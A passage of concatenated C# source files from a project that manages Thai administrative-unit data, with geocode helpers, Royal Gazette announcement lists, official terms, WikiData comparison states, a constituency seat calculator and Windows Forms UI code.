if (data != null)
{
var date = claim.Qualifiers.FirstOrDefault(x => pointInTime.Equals(x.PropertyId));
if (date != null)
{
result.Add(claim as Statement);
data.LowerBound = String.Empty;
data.UpperBound = String.Empty;
claim.mainSnak = new Snak(SnakType.Value, claim.mainSnak.PropertyId, data);
var dateSnak = date.DataValue as TimeValue;
if (dateSnak.DateTime == lastedDate)
{
// (claim as Statement).Rank = Rank.Preferred; // setting Rank not yet supported by Wikibase!
}
else
{
// (claim as Statement).Rank = Rank.Normal; // setting Rank not yet supported by Wikibase!
}
}
}
}
return result;
}
}
/// <summary>
/// Possible states of data in WikiData vs. Tambon XML.
/// </summary>
public enum WikiDataState
{
/// <summary>
/// Unknown state.
/// </summary>
Unknown,
/// <summary>
/// Value in WikiData matches data in Tambon XML.
/// </summary>
Valid,
/// <summary>
/// Value not set in WikiData.
/// </summary>
NotSet,
/// <summary>
/// Value in WikiData does not match value in Tambon XML.
/// </summary>
WrongValue,
/// <summary>
/// List statement in WikiData does not have all values required by XML.
/// </summary>
Incomplete,
/// <summary>
/// Item ID does not refer to a valid WikiData item.
/// </summary>
ItemNotFound,
/// <summary>
/// No data in Tambon XML.
/// </summary>
NoData,
/// <summary>
/// No data in Tambon XML, but value present in WikiData.
/// </summary>
DataMissing,
/// <summary>
/// WikiData has inconsistent data.
/// </summary>
Inconsistent
}
}<file_sep>/TambonMain/OfficialList.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
partial class OfficialList
{
private DateTime GetDateFromItem(Object x)
{
var term = x as OfficialOrVacancyEntry;
if ( term != null )
{
return term.TimeStamp;
}
var electionDate = x as CanceledElection;
if ( electionDate != null )
{
return electionDate.date;
}
return DateTime.MinValue;
}
/// <summary>
/// Sorts the items in the list by date.
/// </summary>
public void SortByDate()
{
Items.Sort((x, y) => GetDateFromItem(x).CompareTo(GetDateFromItem(y)));
}
/// <summary>
/// Gets an ordered enumeration of official terms.
/// </summary>
/// <value>An enumeration of official terms.</value>
public IEnumerable<OfficialEntryBase> OfficialTerms
{
get
{
var result = new List<OfficialEntryBase>();
foreach ( var item in Items )
{
var term = item as OfficialEntryBase;
if ( term != null )
{
result.Add(term);
}
}
return result.OrderByDescending(x => x.TimeStamp);
}
}
/// <summary>
/// Gets an ordered enumeration of official terms and vacancies.
/// </summary>
/// <value>An enumeration of official terms and vacancies.</value>
public IEnumerable<OfficialOrVacancyEntry> OfficialTermsOrVacancies
{
get
{
var result = new List<OfficialOrVacancyEntry>();
foreach (var item in Items)
{
var term = item as OfficialOrVacancyEntry;
if (term != null)
{
result.Add(term);
}
}
return result.OrderByDescending(x => x.TimeStamp);
}
}
}
}<file_sep>/TambonMain/OfficialEntryBase.cs
using System;
using System.Xml.Serialization;
namespace De.AHoerstemeier.Tambon
{
public partial class OfficialEntryBase
{
private const Int32 FirstYearWithElectedLocalOfficeHolder = 2003;
/// <summary>
/// Whether the <see cref="begin"/> and <see cref="end"/> dates of the term are sensible, i.e. end after begin.
/// </summary>
[XmlIgnore()]
public Boolean TermDatesValid
{
get
{
var result =
(BeginYear > GlobalData.MaximumPossibleElectionYear) &
(EndYear < GlobalData.MaximumPossibleElectionYear);
if (EndYear > 0)
{
result &= BeginYear <= EndYear;
}
if (endSpecified & beginSpecified)
{
result &= end.CompareTo(begin) > 0;
}
return result;
}
}
/// <summary>
/// Gets the year of term begin, either from <see cref="begin"/> or <see cref="beginyear"/>.
/// </summary>
public Int32 BeginYear
{
get
{
var beginYear = 0;
if (beginSpecified)
{
beginYear = begin.Year;
}
else if (!String.IsNullOrEmpty(beginyear))
{
beginYear = Convert.ToInt32(beginyear);
}
return beginYear;
}
}
/// <summary>
/// Gets the year of term end, either from <see cref="end"/> or <see cref="endyear"/>.
/// </summary>
public Int32 EndYear
{
get
{
var endYear = 0;
if (endSpecified)
{
endYear = end.Year;
}
else if (!String.IsNullOrEmpty(endyear))
{
endYear = Convert.ToInt32(endyear);
}
return endYear;
}
}
/// <summary>
/// Calculates whether the <see cref="begin"/> and <see cref="end"/> dates fit with the <paramref name="maximumTermLength"/> in years.
/// </summary>
/// <param name="maximumTermLength">Maximum length of term in years.</param>
/// <returns><c>true</c> if term length is correct, <c>false</c> otherwise.</returns>
public Boolean TermLengthValid(Byte maximumTermLength)
{
Boolean result = true;
if (endSpecified & beginSpecified)
{
if (BeginYear > FirstYearWithElectedLocalOfficeHolder)
{
var expectedEndTerm = begin.AddYears(maximumTermLength).AddDays(-1);
var compare = expectedEndTerm.CompareTo(end);
result = compare >= 0;
if (endreason == OfficialEndType.EndOfTerm)
result = (compare == 0);
}
}
return result;
}
/// <summary>
/// Checks whether the official is still in office.
/// </summary>
/// <returns><c>true</c> if (presumably) still in office, <c>false</c> otherwise.</returns>
public Boolean InOffice()
{
return (!endSpecified) && String.IsNullOrEmpty(endyear) && (endreason == OfficialEndType.Unknown);
}
}
}<file_sep>/AHTambon/AnnouncementStatistics.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public abstract class AnnouncementStatistics
{
#region properties
public Int32 StartYear { get; set; }
public Int32 EndYear { get; set; }
public Int32 NumberOfAnnouncements { get; protected set; }
#endregion
#region methods
protected virtual void Clear()
{
NumberOfAnnouncements = 0;
}
protected virtual Boolean AnnouncementDateFitting(RoyalGazette iEntry)
{
Boolean retval = ((iEntry.Publication.Year <= EndYear) && (iEntry.Publication.Year >= StartYear));
return retval;
}
protected abstract void ProcessAnnouncement(RoyalGazette iEntry);
public void Calculate()
{
Clear();
foreach ( RoyalGazette lEntry in TambonHelper.GlobalGazetteList )
{
if ( AnnouncementDateFitting(lEntry) )
{
ProcessAnnouncement(lEntry);
}
}
}
public abstract String Information();
#endregion
}
}
<file_sep>/GeoTool/ViewModel/GeoDataMapViewModel.cs
using System;
using System.Collections.Generic;
using De.AHoerstemeier.Geo;
using De.AHoerstemeier.Tambon;
using De.AHoerstemeier.GeoTool.Model;
using GalaSoft.MvvmLight;
using Microsoft.Maps.MapControl.WPF;
using Microsoft.Maps.MapControl.WPF.Core;
using System.Collections.ObjectModel;
using System.Windows.Input;
using GalaSoft.MvvmLight.Command;
using GalaSoft.MvvmLight.Messaging;
namespace De.AHoerstemeier.GeoTool.ViewModel
{
/// <summary>
/// This class contains properties that a View can data bind to.
/// <para>
/// Use the <strong>mvvminpc</strong> snippet to add bindable properties to this ViewModel.
/// </para>
/// <para>
/// You can also use Blend to data bind with the tool's support.
/// </para>
/// <para>
/// See http://www.galasoft.ch/mvvm/getstarted
/// </para>
/// </summary>
[System.Runtime.InteropServices.GuidAttribute("B10CB298-EC04-44BD-84A2-A1087FF95AF4")]
public class GeoDataMapViewModel : ViewModelBase
{
/// <summary>
/// Initializes a new instance of the GeoDataMapViewModel class.
/// </summary>
/// <param name="model">The model with the actual data.</param>
public GeoDataMapViewModel(GeoDataModel model)
{
if ( IsInDesignMode )
{
// Code runs in Blend --> create design time data.
}
else
{
Messenger.Default.Register<PropertyChangedMessage<GeoPoint>>(this, GeoDataModelPropertyChanged);
// Code runs "for real": Connect to service, etc...
}
Model = model;
Model.PropertyChanged += (s, e) =>
{
if ( e.PropertyName == GeoDataModel.LocationPropertyName )
{
RaisePropertyChanged(PushPinLocationPropertyName);
}
};
}
private GeoDataModel Model
{
get;
set;
}
private void GeoDataModelPropertyChanged(PropertyChangedMessage<GeoPoint> message)
{
Model.Datum = message.NewValue.Datum;
Model.Location = message.NewValue;
}
/// <summary>
/// Gets the Bing Map usage credentials containing the key.
/// </summary>
/// <value>The Bing Map usage credentials containing the key.</value>
public CredentialsProvider BingMapCredentials
{
get
{
var value = new ApplicationIdCredentialsProvider();
value.ApplicationId = GeoDataGlobals.Instance.BingMapsKey;
return value;
}
}
/// <summary>
/// The <see cref="PushPinLocation" /> property's name.
/// </summary>
public const String PushPinLocationPropertyName = "PushPinLocation";
/// <summary>
/// Gets or sets the location of the push pin.
/// </summary>
/// <value>The location of the push pin.</value>
public Location PushPinLocation
{
get { return new Location(Model.Location.Latitude, Model.Location.Longitude); }
set
{
Model.SetGeoLocation(value.Latitude, value.Longitude);
}
}
}
}<file_sep>/Website/AmphoeDataDisplay.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.IO;
using De.AHoerstemeier.Tambon;
public partial class AmphoeDataDisplay : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
TambonHelper.BaseXMLDirectory = Request.PhysicalApplicationPath + "\\App_Data";
FillChangwatCombobox();
}
}
protected void FillChangwatCombobox()
{
if (TambonHelper.ProvinceGeocodes == null)
{
TambonHelper.LoadGeocodeList();
}
cbx_changwat.Items.Clear();
foreach (PopulationDataEntry lEntry in TambonHelper.ProvinceGeocodes)
{
cbx_changwat.Items.Add(new ListItem(lEntry.English,lEntry.Geocode.ToString()));
}
}
protected void cbx_amphoe_SelectedIndexChanged(object sender, EventArgs e)
{
}
protected void cbx_changwat_SelectedIndexChanged(object sender, EventArgs e)
{
DropDownList lSender = sender as DropDownList;
Int32 lGeocode = Convert.ToInt32(lSender.SelectedValue);
PopulationData lGeocodes = null;
cbx_amphoe.Items.Clear();
lGeocodes = TambonHelper.GetGeocodeList(lGeocode);
foreach (PopulationDataEntry lEntry in lGeocodes.Data.SubEntities)
{
if (!lEntry.Obsolete)
{
cbx_amphoe.Items.Add(new ListItem(lEntry.English, lEntry.Geocode.ToString()));
}
}
}
}
<file_sep>/TambonMain/CreationStatisticsAmphoe.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class CreationStatisticsAmphoe : CreationStatisticsCentralGovernment
{
#region properties
private Int32 _numberOfKingAmphoeCreations;
public Int32 NumberOfKingAmphoeCreations
{
get
{
return _numberOfKingAmphoeCreations;
}
}
#endregion properties
#region constructor
public CreationStatisticsAmphoe()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public CreationStatisticsAmphoe(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion constructor
#region methods
protected override void Clear()
{
base.Clear();
_numberOfKingAmphoeCreations = 0;
}
protected override Boolean EntityFitting(EntityType iEntityType)
{
Boolean result = (iEntityType == EntityType.Amphoe) | (iEntityType == EntityType.KingAmphoe);
return result;
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
AppendBasicInfo(lBuilder);
AppendChangwatInfo(lBuilder);
AppendSubEntitiesInfo(lBuilder, "Tambon");
AppendParentNumberInfo(lBuilder);
AppendDayOfYearInfo(lBuilder);
String retval = lBuilder.ToString();
return retval;
}
protected override void ProcessContent(GazetteCreate content)
{
base.ProcessContent(content);
if ( content.type == EntityType.KingAmphoe )
{
_numberOfKingAmphoeCreations++;
}
}
protected override String DisplayEntityName()
{
return "Amphoe";
}
protected override void AppendBasicInfo(StringBuilder builder)
{
builder.AppendLine(String.Format("{0} Announcements", NumberOfAnnouncements));
builder.AppendLine(String.Format("{0} Amphoe created", NumberOfCreations - NumberOfKingAmphoeCreations));
builder.AppendLine(String.Format("{0} King Amphoe created", NumberOfKingAmphoeCreations));
builder.AppendLine(String.Format("Creations per announcements: {0:F2}", CreationsPerAnnouncement.MedianValue));
builder.AppendLine(String.Format("Maximum creation per announcements: {0}", CreationsPerAnnouncement.MaxValue));
builder.AppendLine();
}
#endregion methods
}
}<file_sep>/TambonMain/GazetteListYear.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteListYear : IGazetteEntries
{
/// <summary>
/// Gets a flat list of all gazette entries.
/// </summary>
/// <value>Flat list of all gazette entries.</value>
public IEnumerable<GazetteEntry> AllGazetteEntries
{
get
{
var result = new List<GazetteEntry>();
result.AddRange(this.entry);
foreach ( var monthList in this.month )
{
result.AddRange(monthList.AllGazetteEntries);
}
return result;
}
}
/// <summary>
/// Gets all gazette announcements related to the given geocode.
/// </summary>
/// <param name="geocode">Code to look for.</param>
/// <param name="includeSubEnties"><c>true</c> to include announcements on sub-entities, <c>false</c> to only return exact matches.</param>
/// <returns>All announcements related to the geocode.</returns>
public IEnumerable<GazetteEntry> AllAboutGeocode(UInt32 geocode, Boolean includeSubEnties)
{
var result = new List<GazetteEntry>();
result.AddRange(this.entry.Where(x => x.IsAboutGeocode(geocode, includeSubEnties)));
foreach ( var monthList in this.month )
{
result.AddRange(monthList.AllAboutGeocode(geocode, includeSubEnties));
}
return result;
}
/// <summary>
/// Searches for the first fitting announcement matching the given reference.
/// </summary>
/// <param name="gazetteReference">Gazette reference.</param>
/// <returns>Gazette announcement, or <c>null</c> if nothing found.</returns>
/// <exception cref="ArgumentNullException"><paramref name="gazetteReference"/> is <c>null</c>.</exception>
public GazetteEntry FindAnnouncement(GazetteRelated gazetteReference)
{
if ( gazetteReference == null )
{
throw new ArgumentNullException("gazetteReference");
}
return AllGazetteEntries.FirstOrDefault(x => x.IsMatchWith(gazetteReference));
}
}
}<file_sep>/TambonHelpers/GeocodeHelper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public static class GeocodeHelper
{
/// <summary>
/// Default province.
/// </summary>
/// <remarks>Should be moved to UI settings.</remarks>
static readonly public Int32 PreferredProvinceGeocode = 84; // Surat Thani
/// <summary>
/// Checks whether two geocodes are identical, or in case the sub entities are included
/// if <paramref name="geocodeToCheck"/> is below <paramref name="geocodeToFind"/>.
/// </summary>
/// <param name="geocodeToFind">Code to find.</param>
/// <param name="geocodeToCheck">Code to check.</param>
/// <param name="includeSubEntities">Toggles whether codes under the main code are considered fitting as well.</param>
/// <returns>True if both codes fit together, false otherwise.</returns>
public static Boolean IsSameGeocode(UInt32 geocodeToFind, UInt32 geocodeToCheck, Boolean includeSubEntities)
{
while ( geocodeToFind % 100 == 0 )
{
geocodeToFind = geocodeToFind / 100;
}
while ( geocodeToCheck % 100 == 0 )
{
geocodeToCheck = geocodeToCheck / 100;
}
Boolean result;
if ( includeSubEntities )
{
result = IsBaseGeocode(geocodeToFind, geocodeToCheck);
}
else
{
result = (geocodeToFind == geocodeToCheck);
}
return result;
}
/// <summary>
/// Checks whether the <paramref name="geocodeToCheck"/> is a code under <paramref name="baseGeocode"/>.
/// A base code of zero means no check is done and true is returned.
/// </summary>
/// <param name="baseGeocode">Base code.</param>
/// <param name="geocodeToCheck">Code to be checked to be under the base code.</param>
/// <returns><c>true</c>c> if code is under base code, or base code is zero; <c>false</c> otherwise.</returns>
public static Boolean IsBaseGeocode(UInt32 baseGeocode, UInt32 geocodeToCheck)
{
Boolean result;
if ( baseGeocode == 0 )
{
result = true;
}
else if ( geocodeToCheck == 0 )
{
result = false;
}
else
{
Int32 level = 1;
while ( baseGeocode < 1000000 )
{
baseGeocode = baseGeocode * 100;
level = level * 100;
}
while ( geocodeToCheck < 1000000 )
{
geocodeToCheck = geocodeToCheck * 100;
}
Int64 difference = geocodeToCheck - baseGeocode;
result = (!(difference < 0)) & (difference < level);
}
return result;
}
/// <summary>
/// Gets the geocode of the province in which the entity with the given geocode is located.
/// </summary>
/// <param name="geocode">Entity geocode.</param>
/// <returns>Province geocode.</returns>
public static UInt32 ProvinceCode(UInt32 geocode)
{
UInt32 result = geocode;
while ( result > 100 )
{
result = result / 100;
}
return result;
}
/// <summary>
/// Gets an enumeration of the geocode of all the parents of a given geocode.
/// </summary>
/// <param name="geocode">Entity geocode.</param>
/// <returns>Enumeration of parent geocodes.</returns>
public static IEnumerable<UInt32> ParentGeocodes(UInt32 geocode)
{
var result = new List<UInt32>();
var value = geocode / 100;
while ( value != 0 )
{
result.Add(value);
value = value / 100;
}
return result;
}
/// <summary>
/// Calculates the geocode level.
/// </summary>
/// <param name="geocode">Code to check.</param>
/// <returns>Level of geocode.
/// <list type="bullet">
/// <item><term>0</term>
/// <description>Country.</description>
/// </item>
/// <item><term>1</term>
/// <description>1st level subdivision, i.e. province (or Bangkok).</description>
/// </item>
/// <item><term>2</term>
/// <description>2nd level subdivision, i.e. district (Amphoe, King Amphoe, Khet), includes municipalities.</description>
/// </item>
/// <item><term>3</term>
/// <description>3rd level subdivision, i.e. subdistrict (Tambon, Khwaeng).</description>
/// </item>
/// <item><term>4</term>
/// <description>4th level subdivision, i.e. administrative villages and communities (Muban, Chumchon).</description>
/// </item>
/// </list> /// </returns>
public static Byte GeocodeLevel(UInt32 geocode)
{
Byte result = 0;
var value = geocode;
while ( value > 0 )
{
result++;
value = value / 100;
}
return result;
}
}
}<file_sep>/TambonMain/GazetteOperationBase.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteOperationBase : IGeocode
{
#region IGeocode Members
/// <summary>
/// Checks if this instance is about the entity identified by the <paramref name="geocode"/>.
/// If <paramref name="includeSubEntities"/> is <c>true</c>,
/// </summary>
/// <param name="geocode">Geocode to check.</param>
/// <param name="includeSubEntities">Toggles whether codes under <paramref name="geocode"/> are considered fitting as well.</param>
/// <returns><c>true</c> if instance is about the code, <c>false</c> otherwise.</returns>
public Boolean IsAboutGeocode(UInt32 geocode, Boolean includeSubEntities)
{
Boolean result = false;
if (geocodeSpecified)
{
result = result | GeocodeHelper.IsSameGeocode(geocode, this.geocode, includeSubEntities);
}
if (ownerFieldSpecified)
{
result = result | GeocodeHelper.IsSameGeocode(geocode, this.owner, includeSubEntities);
}
if (tambonFieldSpecified)
{
result = result | GeocodeHelper.IsSameGeocode(geocode, this.tambon, includeSubEntities);
if (GeocodeHelper.GeocodeLevel(geocode) == 3 && (geocode % 100 >= 50))
{
result = result | GeocodeHelper.IsSameGeocode(geocode - 50, this.tambon, includeSubEntities);
}
}
if (this.type == EntityType.Changwat)
{
if (GeocodeHelper.GeocodeLevel(geocode) == 3 && (geocode % 100 == 50) && ((geocode / 100) % 100 == 0))
{
result = true; // special fake geocode for PAO
}
}
foreach (var entry in Items)
{
var toTest = entry as IGeocode;
if (toTest != null)
{
result = result | toTest.IsAboutGeocode(geocode, includeSubEntities);
}
}
return result;
}
#endregion IGeocode Members
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public virtual HistoryEntryBase ConvertToHistory()
{
return null;
}
/// <summary>
/// Gets a flat list of all the operation entries nested under the current one, including the current one.
/// </summary>
public IEnumerable<GazetteOperationBase> GazetteOperations()
{
var result = new List<GazetteOperationBase>();
result.Add(this);
foreach (var item in Items)
{
var OperationItem = item as GazetteOperationBase;
if (OperationItem != null)
{
result.AddRange(OperationItem.GazetteOperations());
}
}
return result;
}
}
}<file_sep>/TambonMain/ConstituencyCalculator.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class ConstituencyCalculator
{
#region constructor
public ConstituencyCalculator()
{
}
#endregion constructor
#region methods
public static Dictionary<Entity, Int32> Calculate(UInt32 parentGeocode, Int16 year, Int16 numberOfSeats)
{
Dictionary<Entity, Int32> result = null;
var data = GlobalData.CompleteGeocodeList();
data = data.FlatList().First(x => x.geocode == parentGeocode);
if ( data.GetPopulationDataPoint(PopulationDataSourceType.DOPA, year) == null )
{
GlobalData.LoadPopulationData(PopulationDataSourceType.DOPA, year);
}
result = Calculate(data, year, numberOfSeats);
return result;
}
public static Dictionary<Entity, Int32> Calculate(Entity data, Int16 year, Int16 numberOfSeats)
{
if ( data == null )
{
throw new ArgumentNullException("data");
}
var result = new Dictionary<Entity, Int32>();
Int32 totalPopulation = 0;
foreach ( var entry in data.entity )
{
if ( entry != null )
{
result.Add(entry, 0);
if ( entry.population.Any() )
{
totalPopulation += entry.population.First().TotalPopulation.total;
}
}
}
Double divisor = (1.0 * numberOfSeats) / (1.0 * totalPopulation);
Int32 remainingSeat = numberOfSeats;
var remainder = new Dictionary<Entity, Double>();
foreach ( var entry in data.entity )
{
if ( entry != null )
{
if ( entry.population.Any() )
{
Double seats = entry.population.First().TotalPopulation.total * divisor;
Int32 actualSeats = Math.Max(1, Convert.ToInt32(Math.Truncate(seats)));
result[entry] = actualSeats;
remainingSeat -= actualSeats;
Double remainingValue = seats - actualSeats;
remainder.Add(entry, remainingValue);
}
}
}
var sortedRemainders = new List<Entity>();
foreach ( var entry in data.entity )
{
if ( entry != null )
{
sortedRemainders.Add(entry);
}
}
sortedRemainders.Sort(delegate (Entity p1, Entity p2)
{
return remainder[p2].CompareTo(remainder[p1]);
});
while ( remainingSeat > 0 )
{
Entity first = sortedRemainders.First();
result[first] += 1;
remainingSeat -= 1;
sortedRemainders.Remove(first);
}
return result;
}
#endregion methods
}
}<file_sep>/TambonMain/OfficialVacancy.cs
using System;
namespace De.AHoerstemeier.Tambon
{
public partial class OfficialVacancy
{
/// <inheritdoc/>
protected override DateTime GetTimeStamp()
{
var result = base.GetTimeStamp();
if (result == DateTime.MinValue)
{
if (!String.IsNullOrEmpty(year))
{
result = new DateTime(Convert.ToInt32(year), 1, 1);
}
}
return result;
}
}
}
<file_sep>/Setup.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.IO;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class Setup : Form
{
protected String HTMLCacheDir { get; set; }
protected String XMLOutputDir { get; set; }
protected String PDFDir { get; set; }
public Setup()
{
InitializeComponent();
GlobalSettings.LoadSettings();
HTMLCacheDir = GlobalSettings.HTMLCacheDir;
edtHTMLCacheDir.Text = HTMLCacheDir;
XMLOutputDir = GlobalSettings.XMLOutputDir;
edtXMLOutputDir.Text = XMLOutputDir;
PDFDir = GlobalSettings.PDFDir;
edtPDFDir.Text = PDFDir;
}
private void btnApply_Click(object sender, EventArgs e)
{
GlobalSettings.HTMLCacheDir = HTMLCacheDir;
GlobalSettings.PDFDir = PDFDir;
GlobalSettings.XMLOutputDir = XMLOutputDir;
GlobalSettings.SaveSettings();
}
private void edtHTMLCacheDir_TextChanged(object sender, EventArgs e)
{
HTMLCacheDir = edtHTMLCacheDir.Text;
}
private void edtXMLOutputDir_TextChanged(object sender, EventArgs e)
{
XMLOutputDir = edtXMLOutputDir.Text;
}
private void edtPDFDir_TextChanged(object sender, EventArgs e)
{
PDFDir = edtPDFDir.Text;
}
}
}
<file_sep>/TambonMain/Symbols.cs
using System;
using System.Linq;
namespace De.AHoerstemeier.Tambon
{
public partial class Symbols: IIsEmpty
{
/// <inheritdoc/>
public Boolean IsEmpty()
{
return
!vision.Any() &&
!slogan.Any() &&
!mission.Any() &&
!goal.Any() &&
!emblem.Any() &&
color == "unknown" &&
!song.Any() &&
String.IsNullOrEmpty(symbolbird) &&
String.IsNullOrEmpty(symboltree) &&
String.IsNullOrEmpty(symbolflower) &&
String.IsNullOrEmpty(wateranimal);
}
}
}<file_sep>/TambonUI/EntityBrowserForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using System.Xml.Serialization;
namespace De.AHoerstemeier.Tambon.UI
{
public partial class EntityBrowserForm : Form
{
#region fields
private readonly List<Entity> _localGovernments = new List<Entity>();
private Entity _baseEntity;
private List<Entity> _allEntities;
private Dictionary<UInt32, HistoryList> _creationHistories;
#endregion fields
#region properties
/// <summary>
/// Gets or sets whether erroneous DOLA codes shall be included in the invalid data list.
/// </summary>
/// <value><c>true</c> to include wrong DOLA codes in the invalid data list, <c>false</c> otherwise.</value>
public Boolean ShowDolaErrors
{
get;
set;
}
/// <summary>
/// Gets or sets the geocode of the province which should be selected upon opening the view.
/// </summary>
/// <value>The geocode of the province which should be selected upon opening the view.</value>
public UInt32 StartChangwatGeocode
{
get;
set;
}
/// <summary>
/// Gets or sets the data source to be used for the population data.
/// </summary>
/// <value>The data source to be used for the population data.</value>
public PopulationDataSourceType PopulationDataSource
{
get;
set;
}
/// <summary>
/// Gets or sets the reference year to be used for the population data.
/// </summary>
/// <value>The reference year to be used for the population data.</value>
public Int16 PopulationReferenceYear
{
get;
set;
}
/// <summary>
/// Gets or sets whether wikidata should be checked to include Wikipedia links.
/// </summary>
/// <value><c>true</c> to check Wikidata for links, <c>false</c> otherwise.</value>
public Boolean CheckWikiData
{
get;
set;
}
#endregion properties
#region constructor
public EntityBrowserForm()
{
InitializeComponent();
PopulationDataSource = PopulationDataSourceType.DOPA;
PopulationReferenceYear = GlobalData.PopulationStatisticMaxYear;
}
#endregion constructor
#region private methods
private TreeNode EntityToTreeNode(Entity data)
{
TreeNode retval = null;
if (data != null)
{
retval = new TreeNode(data.english)
{
Tag = data
};
if (!data.type.IsThirdLevelAdministrativeUnit()) // No Muban in Treeview
{
foreach (Entity entity in data.entity)
{
if (!entity.IsObsolete && !entity.type.IsLocalGovernment())
{
retval.Nodes.Add(EntityToTreeNode(entity));
}
}
}
}
return retval;
}
private void PopulationDataToTreeView()
{
treeviewSelection.BeginUpdate();
treeviewSelection.Nodes.Clear();
TreeNode baseNode = EntityToTreeNode(_baseEntity);
treeviewSelection.Nodes.Add(baseNode);
baseNode.Expand();
foreach (TreeNode node in baseNode.Nodes)
{
if (((Entity)(node.Tag)).geocode == StartChangwatGeocode)
{
treeviewSelection.SelectedNode = node;
node.Expand();
}
}
treeviewSelection.EndUpdate();
}
private void CalcElectionData(Entity entity)
{
var localGovernmentsInEntity = entity.LocalGovernmentEntitiesOf(_localGovernments);
var dummyEntity = new Entity();
dummyEntity.entity.AddRange(localGovernmentsInEntity);
var itemsWithCouncilElectionsPending = new List<EntityTermEnd>();
var itemsWithOfficialElectionsPending = new List<EntityTermEnd>();
var itemsWithOfficialElectionResultUnknown = new List<EntityTermEnd>();
var itemsWithOfficialVacant = new List<EntityTermEnd>();
var itemsWithCouncilElectionPendingInParent = dummyEntity.EntitiesWithCouncilElectionPending();
itemsWithCouncilElectionsPending.AddRange(itemsWithCouncilElectionPendingInParent);
itemsWithCouncilElectionsPending.Sort((x, y) => x.CouncilTerm.begin.CompareTo(y.CouncilTerm.begin));
var itemsWithOfficialElectionPendingInParent = dummyEntity.EntitiesWithOfficialElectionPending(false);
itemsWithOfficialElectionsPending.AddRange(itemsWithOfficialElectionPendingInParent);
itemsWithOfficialElectionsPending.Sort((x, y) => x.OfficialTerm.begin.CompareTo(y.OfficialTerm.begin));
var itemsWithOfficialElectionResultUnknownInParent = dummyEntity.EntitiesWithLatestOfficialElectionResultUnknown();
itemsWithOfficialElectionResultUnknown.AddRange(itemsWithOfficialElectionResultUnknownInParent);
itemsWithOfficialElectionResultUnknown.Sort((x, y) => x.OfficialTerm.begin.CompareTo(y.OfficialTerm.begin));
var itemsWithOfficialVacantInParent = dummyEntity.EntitiesWithOfficialVacant();
itemsWithOfficialVacant.AddRange(itemsWithOfficialVacantInParent);
var result = String.Empty;
var councilBuilder = new StringBuilder();
Int32 councilCount = 0;
foreach (var item in itemsWithCouncilElectionsPending)
{
DateTime end;
if (item.CouncilTerm.endSpecified)
{
end = item.CouncilTerm.end;
}
else if (item.CouncilTerm.type == EntityType.TAO && item.CouncilTerm.beginreason == TermBeginType.TermExtended)
{
end = new DateTime(2021, 11, 28);
}
else if (item.CouncilTerm.type != EntityType.TAO && item.CouncilTerm.beginreason == TermBeginType.TermExtended)
{
end = new DateTime(2021, 3, 28);
}
else
{
end = item.CouncilTerm.begin.AddYears(4).AddDays(-1);
}
councilBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2:d}", item.Entity.english, item.Entity.geocode, end);
councilBuilder.AppendLine();
councilCount++;
}
if (councilCount > 0)
{
result +=
String.Format(CultureInfo.CurrentUICulture, "{0} LAO council elections pending", councilCount) + Environment.NewLine +
councilBuilder.ToString() + Environment.NewLine;
}
var vacantBuilder = new StringBuilder();
Int32 vacantCount = 0;
foreach (var item in itemsWithOfficialVacant)
{
String officialTermEnd = "unknown";
if ((item.OfficialTerm.begin != null) && (item.OfficialTerm.begin.Year > 1900))
{
DateTime end;
if (item.OfficialTerm.endSpecified)
{
end = item.OfficialTerm.end;
}
else if (item.OfficialTerm.title == OfficialType.TAOMayor && item.OfficialTerm.beginreason == OfficialBeginType.TermExtended)
{
end = new DateTime(2021, 11, 28);
}
else if (item.OfficialTerm.title == OfficialType.Mayor && item.OfficialTerm.beginreason == OfficialBeginType.TermExtended)
{
end = new DateTime(2021, 3, 28);
}
else
{
end = item.OfficialTerm.begin.AddYears(4).AddDays(-1);
}
officialTermEnd = String.Format(CultureInfo.CurrentUICulture, "{0:d}", end);
}
vacantBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2}", item.Entity.english, item.Entity.geocode, officialTermEnd);
vacantBuilder.AppendLine();
vacantCount++;
}
if (vacantCount > 0)
{
result +=
String.Format(CultureInfo.CurrentUICulture, "{0} LAO official vacant", vacantCount) + Environment.NewLine +
vacantBuilder.ToString() + Environment.NewLine;
}
var officialBuilder = new StringBuilder();
Int32 officialCount = 0;
foreach (var item in itemsWithOfficialElectionsPending)
{
String officialTermEnd = "unknown";
if ((item.OfficialTerm.begin != null) && (item.OfficialTerm.begin.Year > 1900))
{
DateTime end;
if (item.OfficialTerm.endSpecified)
{
end = item.OfficialTerm.end;
}
else
{
end = item.OfficialTerm.begin.AddYears(4).AddDays(-1);
}
officialTermEnd = String.Format(CultureInfo.CurrentUICulture, "{0:d}", end);
}
